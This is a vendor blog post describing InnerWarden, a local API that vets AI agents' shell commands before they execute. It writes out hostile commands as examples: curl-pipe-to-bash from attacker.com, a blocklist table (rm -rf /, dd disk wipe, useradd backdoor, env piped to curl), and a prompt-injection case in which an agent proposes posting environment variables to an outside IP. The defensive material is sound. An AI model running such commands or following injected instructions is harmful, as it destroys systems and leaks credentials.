Skip to content
AI Agent Security

How to Protect AI Agents Running on Your Server

8 min read

AI agents are running commands on servers everywhere. n8n workflows execute shell scripts. OpenClaw agents provision infrastructure. Custom LLM agents process data pipelines. They are powerful, productive, and dangerous, because every command an agent runs has the same permissions as the user running the agent.

What happens when an AI agent hallucinates rm -rf /? Or when a prompt injection tricks it into running curl attacker.com/shell.sh | bash? Without a validation layer, the command executes with full privileges. InnerWarden provides that validation layer.

Why AI agents need a safety net

AI agents are non-deterministic by nature. The same prompt can produce different commands on different runs. This is fine for text generation. It is catastrophic for system administration. The risks include:

  • Hallucinated commands - the model generates a command that looks plausible but is destructive. It "remembers" a path that does not exist or a flag that does something different from what it thinks.
  • Prompt injection - an attacker embeds instructions in data the agent processes (a filename, a web page, a database field). The agent follows the injected instructions.
  • Scope creep - the agent is asked to "clean up disk space" and decides to delete log files, backups, or data directories.
  • Credential exposure - the agent prints environment variables, API keys, or database connection strings in its output or logs.

How the check-command API works

InnerWarden exposes a local API that AI agents call before executing any command. The agent sends the proposed command, InnerWarden scores the risk, and returns an allow/deny decision. The flow:

1. Agent proposes a command

The AI agent sends the command string to Inner Warden's local API endpoint before executing it.

2. InnerWarden analyzes the command

The command is checked against a blocklist (destructive operations), an allowlist (safe operations), and optionally scored by AI for context-aware risk assessment.

3. Decision returned

The API returns: allow (safe to execute), deny (blocked), or review (requires human approval via Telegram).

4. Audit trail

Every command check is logged in the JSONL audit trail: what was proposed, what was decided, and why.

What gets blocked

InnerWarden blocks commands that are destructive, exfiltrative, or escalatory. Examples:

rm -rf /Filesystem destruction
curl ... | bashRemote code execution
chmod 777 /etc/shadowCredential exposure
useradd backdoorUnauthorized user creation
iptables -FFirewall rule flush
dd if=/dev/zero of=/dev/sdaDisk wipe
env | curl ...Credential exfiltration

The blocklist is extensible. You can add custom patterns specific to your environment (e.g., block any command that touches your production database).

Real example

An n8n workflow processing customer data was compromised via prompt injection in a customer email. The injected instructions told the agent to exfiltrate environment variables:

proposeenv | curl -X POST -d @- https://203.0.113.99/collect
denyCommand blocked | pattern: credential exfiltration via curl POST
alertTelegram alert sent | operator notified of prompt injection attempt

Without the check-command API, the environment variables (including database credentials and API keys) would have been sent to the attacker's server. InnerWarden blocked it and alerted the operator.

Set it up

Install InnerWarden and enable the AI agent protection capability:

Install
npm install -g innerwarden
Enable AI agent protection
innerwarden enable openclaw-protection

The check-command API is available at localhost only. It is not exposed to the network. Point your AI agent's command execution to call this API before running any shell command.

What to do next

Related reading

Keep following the attack path

Explore AI Agent Security
AI Security

The Shell Rewrites Your Filter: How Command Blocklists Get Beaten

Attackers defeat text command filters by rewriting a command into a form that means the same thing but does not match the string. The fix is two layers: normalize before matching, and read the real argv in-kernel at execve.

8 min readRead
AI Security

The OWASP Agentic Top 10: What "Covered" Honestly Means

Most tools claim OWASP Agentic Top 10 coverage from the prompt layer. InnerWarden maps to all ten at the action layer with a reason chain, redaction, and a circuit breaker, and is honest about what is proven versus designed.

7 min readRead
AI Security

From Prompt Injection to Syscall: Why Prompt-Layer Defenses Guard the Wrong Layer

A poisoned input rewrites the agent's intent, and that intent lands on the host as execve, openat, or connect. Prompt-layer defenses live inside the context that just got poisoned. The damage becomes real at the syscall.

7 min readRead
AI Security

Denied Is Denied: Why the Kernel's No Beats the Model's No

A model's refusal is a prediction an attacker can steer. The operating system's refusal is not a decision at all. Where enforcement has to live when agents touch real machines.

6 min readRead
AI Security

Claude Code in Auto Mode: Brilliant, Fast, and Running as You

Auto mode is the right way to use a coding agent, and it executes commands with your permissions and no checkpoint. How to keep the speed and put a floor under it.

6 min readRead
AI Security

The MCP Attack Surface Nobody Sandboxed

Tool poisoning, injected tool output, and command injection through tools: how each MCP attack works, why prompt defenses guard the wrong layer, and how to inspect the path itself.

7 min readRead